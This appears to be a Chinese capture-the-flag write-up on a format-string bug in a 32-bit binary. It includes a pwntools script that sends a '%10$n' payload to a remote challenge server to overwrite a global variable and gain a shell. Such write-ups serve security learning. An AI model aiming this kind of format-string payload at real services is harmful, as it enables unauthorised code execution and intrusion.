题目描述
菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
Solution
首先分析文件信息:
这是 ELF32 文件,开启了金丝雀栈保护器,栈不可执行,不是位置无关程序。运行程序,输入名字和信息后打印Thank you!
退出。把它拖入 IDA 分析。
该程序有 2 个问题,第一个是读取input_name
的时候有栈溢出;第二个是printf()
函数直接打印用户输入的message
,有格式化字符串漏洞。
我们的目标是把全局变量pwnme
的值改成8
,这样程序就能夺 Shell。
我们先确定偏移量:
可以发现偏移量是 10。这样我们构造的格式化字符串为:pwnme_addr + b'A' * 4 + '%10$n'
。其中$10
是 Direct Parameter Access(DPA) 技术,它可以从格式化字符串中直接寻找我们指定的参数。
Python 漏洞利用脚本如下:
from pwn import *
#conn = process('./008')
conn = remote('111.200.241.244', 50067)
pwnme_addr = 0x0804a068
name = 'john'
conn.sendlineafter('name:', name)
payload = p32(pwnme_addr) + b'A' * 4 + b'%10$n'
conn.sendlineafter('please:', payload)
print(conn.recvall())
运行效果如下: